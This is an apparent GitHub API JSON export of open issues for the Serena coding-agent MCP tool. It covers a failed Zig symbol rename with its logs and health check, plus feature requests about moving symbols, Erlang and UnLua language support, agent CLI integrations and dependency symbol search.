2025-12-01 20:13:38,976 [Task-2:RenameSymbolTool] serena.tools.tools_base:_log_tool_application:206 - rename_symbol: name_path='Block', relative_path='src/store/inmem/block.zig', new_name='RawBlock'\nERROR 2025-12-01 20:13:38,982 [Task-2:RenameSymbolTool] serena.tools.tools_base:task:275 - Error executing tool: Language server for zig returned no rename edits for symbol 'Block'. The symbol might not support renaming.\nTraceback (most recent call last):\n  File \"/theuser/.local/share/uv/tools/serena-agent/lib/python3.13/site-packages/serena/tools/tools_base.py\", line 250, in task\n    result = apply_fn(**kwargs)\n  File \"/theuser/.local/share/uv/tools/serena-agent/lib/python3.13/site-packages/serena/tools/symbol_tools.py\", line 309, in apply\n    status_message = code_editor.rename_symbol(name_path, relative_file_path=relative_path, new_name=new_name)\n  File \"/theuser/.local/share/uv/tools/serena-agent/lib/python3.13/site-packages/serena/code_editor.py\", line 314, in rename_symbol\n    raise ValueError(\n    ...<2 lines>...\n    )\nValueError: Language server for zig returned no rename edits for symbol 'Block'. The symbol might not support renaming.\nINFO  2025-12-01 20:13:38,984 [Task-2:RenameSymbolTool] serena.tools.tools_base:task:279 - Result: Error executing tool: ValueError - Language server for zig returned no rename edits for symbol 'Block'. The symbol might not support renaming.\nINFO  2025-12-01 20:13:38,984 [Task-2:RenameSymbolTool] serena.task_executor:stop:367 - Task-2:RenameSymbolTool completed in 0.009 seconds\n```\n\nconnect in the claude code using `mcp add ...`, resulted in the following config:\n```json\n      \"mcpServers\": {\n        \"serena\": {\n          \"type\": \"stdio\",\n          \"command\": \"serena\",\n          \"args\": [\n            \"start-mcp-server\",\n            \"--context\",\n            \"ide-assistant\",\n            \"--project\",\n            \"/theuser/projects/seqor\"\n          ],\n          \"env\": {}\n        }\n      },\n```\n\n#### serena project health-check\n```txt\nINFO  2025-12-01 20:05:37,300 serena.util.file_system:start:360 - Loading of .gitignore files starting ...\nINFO  2025-12-01 20:05:37,300 serena.util.file_system:_load_gitignore_files:148 - Processing .gitignore file: /theuser/projects/seqor/.gitignore\nINFO  2025-12-01 20:05:37,300 serena.util.file_system:_load_gitignore_files:148 - Processing .gitignore file: /theuser/projects/seqor/.serena/.gitignore\nINFO  2025-12-01 20:05:37,301 serena.util.file_system:stop:367 - Loading of .gitignore files completed in 0.001 seconds\nINFO  2025-12-01 20:05:37,301 sensai.util.logging:add_file_logger:189 - Logging to /theuser/projects/seqor/.serena/logs/health-checks/health_check_20251201-200537.log ...\nINFO  2025-12-01 20:05:37,301 serena.cli:health_check:632 - Starting health check for project: /theuser/projects/seqor\nINFO  2025-12-01 20:05:37,301 serena.cli:health_check:636 - Creating SerenaAgent with disabled dashboard...\nINFO  2025-12-01 20:05:37,302 serena.agent:__init__:222 - Will record tool usage statistics with token count estimator: CHAR_COUNT.\nINFO  2025-12-01 20:05:37,368 serena.agent:__init__:226 - Starting Serena server (version=0.1.4-3092576e-dirty, process id=18730, parent process id=16331)\nINFO  2025-12-01 20:05:37,368 serena.agent:__init__:227 - Configuration file: None\nINFO  2025-12-01 20:05:37,368 serena.agent:__init__:228 - Available projects: \nINFO  2025-12-01 20:05:37,369 serena.agent:__init__:229 - Loaded tools (38): read_file, create_text_file, list_dir, find_file, replace_content, delete_lines, replace_lines, insert_at_line, search_for_pattern, restart_language_server, get_symbols_overview, find_symbol, find_referencing_symbols, replace_symbol_body, insert_after_symbol, insert_before_symbol, rename_symbol, write_memory, read_memory, list_memories, delete_memory, edit_memory, execute_shell_command, activate_project, remove_project, switch_modes, get_current_config, check_onboarding_performed, onboarding, think_about_collected_information, think_about_task_adherence, think_about_whether_you_are_done, summarize_changes, prepare_for_new_conversation, initial_instructions, jet_brains_find_symbol, jet_brains_find_referencing_symbols, jet_brains_get_symbols_overview\nINFO  2025-12-01 20:05:37,369 serena.agent:apply:126 - SerenaAgentContext[name='desktop-app'] included 1 tools: switch_modes\nINFO  2025-12-01 20:05:37,369 serena.agent:__init__:243 - Number of exposed tools: 29\nINFO  2025-12-01 20:05:37,382 serena.agent:_update_active_tools:477 - Active tools (29): activate_project, check_onboarding_performed, create_text_file, delete_memory, edit_memory, execute_shell_command, find_file, find_referencing_symbols, find_symbol, get_current_config, get_symbols_overview, initial_instructions, insert_after_symbol, insert_before_symbol, list_dir, list_memories, onboarding, prepare_for_new_conversation, read_file, read_memory, rename_symbol, replace_content, replace_symbol_body, search_for_pattern, switch_modes, think_about_collected_information, think_about_task_adherence, think_about_whether_you_are_done, write_memory\nINFO  2025-12-01 20:05:37,384 serena.util.file_system:start:360 - Loading of .gitignore files starting ...\nINFO  2025-12-01 20:05:37,384 serena.util.file_system:_load_gitignore_files:148 - Processing .gitignore file: /theuser/projects/seqor/.gitignore\nINFO  2025-12-01 20:05:37,385 serena.util.file_system:_load_gitignore_files:148 - Processing .gitignore file: /theuser/projects/seqor/.serena/.gitignore\nINFO  2025-12-01 20:05:37,385 serena.util.file_system:stop:367 - Loading of .gitignore files completed in 0.001 seconds\nINFO  2025-12-01 20:05:37,385 serena.agent:load_project_from_path_or_name:544 - Added new project seqor for path /theuser/projects/seqor\nINFO  2025-12-01 20:05:37,385 serena.agent:_activate_project:514 - Activating seqor at /theuser/projects/seqor\nINFO  2025-12-01 20:05:37,385 serena.agent:_update_active_tools:477 - Active tools (29): activate_project, check_onboarding_performed, create_text_file, delete_memory, edit_memory, execute_shell_command, find_file, find_referencing_symbols, find_symbol, get_current_config, get_symbols_overview, initial_instructions, insert_after_symbol, insert_before_symbol, list_dir, list_memories, onboarding, prepare_for_new_conversation, read_file, read_memory, rename_symbol, replace_content, replace_symbol_body, search_for_pattern, switch_modes, think_about_collected_information, think_about_task_adherence, think_about_whether_you_are_done, write_memory\nINFO  2025-12-01 20:05:37,385 serena.task_executor:issue_task:192 - Scheduling Task-1:init_language_server_manager\nINFO  2025-12-01 20:05:37,385 serena.cli:health_check:639 - SerenaAgent created successfully\nINFO  2025-12-01 20:05:37,385 serena.cli:health_check:642 - Searching for analyzable files...\nINFO  2025-12-01 20:05:37,387 serena.cli:health_check:651 - Found analyzable file: build.zig.zon\nINFO  2025-12-01 20:05:37,387 serena.cli:health_check:669 - Testing GetSymbolsOverviewTool on file: build.zig.zon\nINFO  2025-12-01 20:05:37,387 serena.task_executor:issue_task:192 - Scheduling Task-2:<lambda>\nINFO  2025-12-01 20:05:37,475 serena.task_executor:_process_task_queue:123 - Starting execution of Task-1:init_language_server_manager\nINFO  2025-12-01 20:05:37,475 serena.task_executor:start:360 - Task-1:init_language_server_manager starting ...\nINFO  2025-12-01 20:05:37,475 serena.agent:start:360 - Language server initialization starting ...\nINFO  2025-12-01 20:05:37,475 serena.project:create_language_server_manager:384 - Creating language server manager for /theuser/projects/seqor\nINFO  2025-12-01 20:05:37,475 sensai.util.logging:start:360 - Language server startup (language=zig) starting ...\nINFO  2025-12-01 20:05:37,475 serena.ls_manager:create_language_server:40 - Creating language server instance for /theuser/projects/seqor, language=zig.\nINFO  2025-12-01 20:05:37,578 solidlsp.ls:_load_raw_document_symbols_cache:1725 - Loading document symbols cache from /theuser/projects/seqor/.serena/cache/zig/raw_document_symbols.pkl\nINFO  2025-12-01 20:05:37,579 solidlsp.ls:_load_raw_document_symbols_cache:1730 - Loaded 25 entries from raw document symbols cache.\nINFO  2025-12-01 20:05:37,579 solidlsp.ls:_load_document_symbols_cache:1760 - Loading document symbols cache from /theuser/projects/seqor/.serena/cache/zig/document_symbols.pkl\nINFO  2025-12-01 20:05:37,580 solidlsp.ls:_load_document_symbols_cache:1765 - Loaded 24 entries from document symbols cache.\nINFO  2025-12-01 20:05:37,580 solidlsp.ls:start:1857 - Starting language server with language zig for /theuser/projects/seqor\nINFO  2025-12-01 20:05:37,580 solidlsp.language_servers.zls:_start_server:202 - Starting ZLS server process\nINFO  2025-12-01 20:05:37,580 solidlsp.ls_handler:start:194 - Starting language server process via command: zls\nINFO  2025-12-01 20:05:37,583 solidlsp.language_servers.zls:_start_server:206 - Sending initialize request from LSP client to LSP server and awaiting response\nINFO  2025-12-01 20:05:37,591 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': \"Starting ZLS      0.15.0 @ 'zls'\"}\nINFO  2025-12-01 20:05:37,591 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': 'Log File:         /theuser/Library/Caches/zls/zls.log (info)'}\nINFO  2025-12-01 20:05:37,591 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 5, 'message': \"Offset Encoding:  'utf-16'\"}\nINFO  2025-12-01 20:05:37,591 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': 'added Workspace Folder: file:///theuser/projects/seqor'}\nINFO  2025-12-01 20:05:37,591 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 5, 'message': \"Dynamically registering method 'workspace/didChangeConfiguration'\"}\nINFO  2025-12-01 20:05:37,592 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 1, 'message': \"Error response for 'i_haz_configuration': .method_not_found, method 'workspace/configuration' not handled on client.\"}\nINFO  2025-12-01 20:05:37,592 solidlsp.language_servers.zls:_start_server:239 - Opened build.zig to provide project context to ZLS\nINFO  2025-12-01 20:05:37,592 sensai.util.logging:stop:367 - Language server startup (language=zig) completed in 0.117 seconds\nINFO  2025-12-01 20:05:37,592 serena.agent:stop:367 - Language server initialization completed in 0.117 seconds\nINFO  2025-12-01 20:05:37,592 serena.task_executor:stop:367 - Task-1:init_language_server_manager completed in 0.117 seconds\nINFO  2025-12-01 20:05:37,592 serena.task_executor:_process_task_queue:123 - Starting execution of Task-2:<lambda>\nINFO  2025-12-01 20:05:37,592 serena.task_executor:start:360 - Task-2:<lambda> starting ...\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': \"Set config option 'enable_build_on_save' to true\"}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': 'Set config option \\'build_on_save_args\\' to [\"build\"]'}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': 'Set config option \\'builtin_path\\' to \"/theuser/Library/Caches/zls/builtin.zig\"'}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': 'Set config option \\'zig_lib_path\\' to \"/opt/homebrew/Cellar/zig/0.15.1/lib/zig\"'}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': 'Set config option \\'zig_exe_path\\' to \"/opt/homebrew/bin/zig\"'}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': 'Set config option \\'build_runner_path\\' to \"/theuser/Library/Caches/zls/build_runner/cf46548b062a7e79e448e80c05616097/build_runner.zig\"'}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': 'Set config option \\'global_cache_path\\' to \"/theuser/Library/Caches/zls\"'}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': \"trying to start Build-On-Save for 'file:///theuser/projects/seqor'\"}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 2, 'message': \"'enable_build_on_save' is ignored because it is not supported by your editor\"}\nINFO  2025-12-01 20:05:37,653 solidlsp.language_servers.zls:window_log_message:192 - LSP: window/logMessage: {'type': 3, 'message': \"Loaded build file 'file:///theuser/projects/seqor/build.zig'\"}\nWARNING 2025-12-01 20:05:37,653 solidlsp.ls:request_document_symbols:1001 - Received None response from the Language Server for document symbols in build.zig.zon. This means the language server can't understand this file (possibly due to syntax errors). It may also be due to a bug or misconfiguration of the LS. Returning empty list\nINFO  2025-12-01 20:05:37,653 serena.task_executor:stop:367 - Task-2:<lambda> completed in 0.061 seconds\nINFO  2025-12-01 20:05:37,653 serena.cli:health_check:672 - GetSymbolsOverviewTool returned 0 symbols\nERROR 2025-12-01 20:05:37,654 serena.cli:health_check:675 - No symbols found in file build.zig.zon\n❌ Health check failed: No symbols found in target file\nLog saved to: /theuser/projects/seqor/.serena/logs/health-checks/health_check_20251201-200537.log\nLog saved to: /theuser/projects/seqor/.serena/logs/health-checks/health_check_20251201-200537.log\n```",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/799/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/792",
      "id": 3677221561,
      "node_id": "I_kwDOONgOes7bLfK5",
      "number": 792,
      "title": "No way to easily copy or move symbols from one file to another, or from one place in a file to another",
      "user": {
        "login": "finebalancetech",
        "id": 2582443,
        "node_id": "MDQ6VXNlcjI1ODI0NDM=",
        "avatar_url": "https://avatars.githubusercontent.com/u/2582443?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/finebalancetech",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8943797060,
          "node_id": "LA_kwDOONgOes8AAAACFReDRA",
          "url": "https://api.github.com/repos/oraios/serena/labels/jetbrains",
          "name": "jetbrains",
          "color": "843eeb",
          "default": false,
          "description": ""
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 4,
      "created_at": "2025-11-30T00:19:09Z",
      "updated_at": "2026-01-12T18:01:04Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Is your feature request related to a problem? Please describe.**\nWhen refactoring, a common task is to move code between modules, or between places in a module. Currently, this requires a multi step process where the body of the symbol is read, processed by the LLM, and then sent back to insert into a new location, and then to remove the old code. This is error prone, because as we all know LLMs hallucinate, especially during complex operations. \n\n**Describe the solution you'd like**\nAdd an MCP tool to move symbol from one place to another- the exact code is copied or moved without any modifications.\n\n**Describe alternatives you've considered**\nDoing it by hand is slow and tedious, and relying on the LLM to copy code verbatim is energy efficient and error prone.\n\n**Additional context**\nNone",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/792/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/771",
      "id": 3637617448,
      "node_id": "I_kwDOONgOes7Y0aMo",
      "number": 771,
      "title": "Erlang LS has been archived on 2025-08-15, recommends switching to Erlang Language Platform",
      "user": {
        "login": "andreswebs",
        "id": 30079182,
        "node_id": "MDQ6VXNlcjMwMDc5MTgy",
        "avatar_url": "https://avatars.githubusercontent.com/u/30079182?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/andreswebs",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8341035891,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobcw",
          "url": "https://api.github.com/repos/oraios/serena/labels/good%20first%20issue",
          "name": "good first issue",
          "color": "7057ff",
          "default": true,
          "description": "Good for newcomers"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": {
        "login": "andreswebs",
        "id": 30079182,
        "node_id": "MDQ6VXNlcjMwMDc5MTgy",
        "avatar_url": "https://avatars.githubusercontent.com/u/30079182?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/andreswebs",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "assignees": {
        "0": {
          "login": "andreswebs",
          "id": 30079182,
          "node_id": "MDQ6VXNlcjMwMDc5MTgy",
          "avatar_url": "https://avatars.githubusercontent.com/u/30079182?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/andreswebs",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "milestone": null,
      "comments": 3,
      "created_at": "2025-11-18T11:20:03Z",
      "updated_at": "2026-02-03T14:55:15Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "\nThe [erlang_ls](https://github.com/erlang-ls/erlang_ls) project used by Serena has been archived on 2025-08-15. They recommend switching to [Erlang Language Platform](https://github.com/whatsapp/erlang-language-platform).\n\n\n\nI have:\n\n- [x] Read the readme and verified that the issue cannot be solved by adjusting configuration\n- [x] Understood that Serena's dashboard can be disabled through the config\n- [x] Understood that by default a client session will start a separate instance of a Serena server. \n- [x] Understood that for multi-agent setups, the SSE mode should be used.\n- [x] Verified that non-project files are ignored using either gitignore or the corresponding setting in `.serena/project.yml`\n- [x] Have looked for similar issues and discussions, including closed ones\n- [x] Made sure it's an actual issue and not a question - those should be opened as discussion instead.\n\nIf you have encountered a real and new issue:\n\n- [x] I performed `<uv invocation> serena project health-check`\n- [x] I indexed the project as described in the readme\n- [x] Added sufficient explanation of my setup: the MCP client, the OS, the programming language, any config adjustments or relevant project specifics\n- [x] Explained how the issue arose, added instructions on how to reproduce it (if possible)\n- [x] If the issue happens on an open source project, I have added the link\n- [x] Wrote a meaningful title and description\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/771/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/757",
      "id": 3623862455,
      "node_id": "I_kwDOONgOes7X_8C3",
      "number": 757,
      "title": "Better integration with major agentic CLIs and IDEs",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "assignees": {
        "0": {
          "login": "MischaPanch",
          "id": 35432522,
          "node_id": "MDQ6VXNlcjM1NDMyNTIy",
          "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/MischaPanch",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "milestone": {
        "url": "https://api.github.com/repos/oraios/serena/milestones/1",
        "id": 14084057,
        "node_id": "MI_kwDOONgOes4A1ufZ",
        "number": 1,
        "title": "v1.0.0",
        "description": "",
        "creator": {
          "login": "opcode81",
          "id": 1295099,
          "node_id": "MDQ6VXNlcjEyOTUwOTk=",
          "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/opcode81",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "open_issues": 1,
        "closed_issues": 8,
        "state": "open",
        "created_at": "2025-11-09T18:42:13Z",
        "updated_at": "2025-12-17T13:47:18Z",
        "due_on": null,
        "closed_at": null
      },
      "comments": 16,
      "created_at": "2025-11-14T04:39:40Z",
      "updated_at": "2025-12-18T18:14:21Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "A lot has happened in the last 5 months on the market. For the 1.0.0 release, we should create dedicated contexts and modes as well as improved documentation for integrating Serena with the major providers. This includes the newest versions of:\n\n- [x] Claude Code\n- [x] Claude Desktop\n- [x] Codex\n- [ ] OpenHands CLI\n- [ ] Gemini CLI\n- [ ] Github CLI\n- [ ] Copilot\n- [x] JetBrains IDE agents\n- [ ] Zed\n- [x] VSCode\n\nFor each of those, the default context should have a tuned selection of tools and maybe some tuned prompts that help interoperability of Serena's tools with the agent's internal tools. We could (and maybe should) also introduce versioning for contexts.\n\nMaybe also closed-source resellers like:\n\n- [ ] Cursor\n- [ ] Windsurf\n- [ ] Amp\n- [x] Antigravity\n\nand so on. For them, I would rather leave integration to the community or take money from them. I kinda don't feel like endorsing closed-source, paid middlemen between the LLM and the code, Serena could be viewed as competition/replacement. Still, worth thinking about it at least (as it would increase Serena's reach).",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/757/reactions",
        "total_count": 5,
        "+1": 5,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/750",
      "id": 3613950413,
      "node_id": "I_kwDOONgOes7XaIHN",
      "number": 750,
      "title": "Feature Request: search other libraries for symbols",
      "user": {
        "login": "MatrixManAtYrService",
        "id": 5834582,
        "node_id": "MDQ6VXNlcjU4MzQ1ODI=",
        "avatar_url": "https://avatars.githubusercontent.com/u/5834582?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MatrixManAtYrService",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 7,
      "created_at": "2025-11-11T21:16:50Z",
      "updated_at": "2026-02-05T14:41:13Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Hi! thanks for your work on Serena, and thanks considering my request:\n\n**Is your feature request related to a problem? Please describe.**\n\nI have a package which contains clients (python) for\n- many HTTP services that I need to talk to\n- many SQL tables that I need to query\n\nWhen I'm using Serena to develop that project, I can use natural language to describe what I want, and the LLM will write reasonably smart code which relies on the packaged clients to get the job done.  Hurray, nice job Serena.\n\nI have more than one need for this ability, so I have made this a python package and paid special attention to ensuring the type info is made available.  This allows me to import it into other (smaller, simpler) projects and get tab completion re: the tables' columns, the http verbs, the http params, and the attributes on the response objects.  Hurray, nice job LSP.\n\nBut I can see that when I use Serena in those other projects, she can't see into the type information which I have prepared there.  I made a smaller example to test this claim:\n\n```python\nimport pyfiglet\npyfiglet.print_figlet(\"hello world!\", colors=\"MAGENTA\")\n```\n\n`pyfiglet` supports a `font` kwarg on `print_figlet`.  It's easy for me to see because when I open my editor in the python virtual environment and place a comma before the `)`, a small tooltip appears:\n\n```\n(text: str, font: str = DEFAULT_FONT, colors: str = \":\", **kwargs: Any) -> None\n```\n\nBut if an agent instructs Serena to search for this information, Serena can't find it:\n\n```\nserena - search_for_pattern (MCP)(substring_pattern: \"def print_figlet\", restrict_search_to_code_files: false, context_lines_after: 10)\n  ⎿  {\n       \"result\": \"{}\"\n     }\n```\n\n**Describe the solution you'd like**\n\nI'd like to be able to configure serena (perhaps via a config file or a cli param) such that she can search among my dependencies as if they were local code.  If this is a performance concern, then I'd like to specify only certain libraries for her to index.  \n\n\n**Describe alternatives you've considered**\n\nI usually launch the agent from inside of a python virtual environment, so I suspect that serena, as a subprocess thereof, will also have access to that environment, but just to be sure I've also configured the agent to explicitly place serena in such an environment:\n\n```\n$ uv run serena start-mcp-server --context ide-assistant --project $PWD\n```\n\n...still no luck.\n\nThe workflow I've settled on right now is to use serena in the project with the knowledge to write and tests an exemplar script which shows the various tables and API's that I need the tool to use, and then copy that script over into the project with the task and say \"this script works, now incorporate it into the bigger picture here\", but it's kind of clunky compared to the possibility that the tool-focuse agent might be able to just import the knowledge from the other project.\n\nI suppose I could also just make it a monorepo but... yuck.\n\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/750/reactions",
        "total_count": 1,
        "+1": 1,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/739",
      "id": 3607834054,
      "node_id": "I_kwDOONgOes7XCy3G",
      "number": 739,
      "title": "Lua indexing fails on UnLua projects, is dialect support possible?",
      "user": {
        "login": "wyryyds",
        "id": 96603553,
        "node_id": "U_kgDOBcINoQ",
        "avatar_url": "https://avatars.githubusercontent.com/u/96603553?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/wyryyds",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 9643955448,
          "node_id": "LA_kwDOONgOes8AAAACPtMU-A",
          "url": "https://api.github.com/repos/oraios/serena/labels/language-specific",
          "name": "language-specific",
          "color": "aaaaaa",
          "default": false,
          "description": null
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2025-11-10T12:31:31Z",
      "updated_at": "2025-11-14T04:55:31Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "When I run the `serena index` command on our project, the process completes, but the log is filled with errors for the vast majority of our Lua files. The typical error message is:\n`ERROR [timestamp] serena.cli:_index_project:[line] - Failed to index [path/to/lua/file.lua], continuing.`\nThis happens for almost every file. I am not entirely sure what is causing these indexing failures, but I have a strong suspicion it's related to our use of UnLua. The UnLua framework introduces many of its own features and non-standard global objects to bridge Lua with the engine. For example, our code frequently uses constructs like:\n- `local MyWidget = UE.UClass(UE.UUserWidget)`\n- `local location = UE.FVector(0, 0, 0)`\n\nMy primary question is: could these framework-specific extensions, which are not part of the standard Lua syntax, be the reason why Serena's parser is failing to index the files?\n\nAlternatively, I am wondering if this is a known limitation. Is the Serena Lua LSP designed to work only with standard Lua, and does it currently lack support for indexing UnLua projects by design? Any clarification on this would be greatly appreciated.\n\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/739/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/737",
      "id": 3605509008,
      "node_id": "I_kwDOONgOes7W57OQ",
      "number": 737,
      "title": "memory organization",
      "user": {
        "login": "keerpawan",
        "id": 16655175,
        "node_id": "MDQ6VXNlcjE2NjU1MTc1",
        "avatar_url": "https://avatars.githubusercontent.com/u/16655175?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/keerpawan",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 3,
      "created_at": "2025-11-09T21:27:55Z",
      "updated_at": "2026-01-26T12:31:57Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
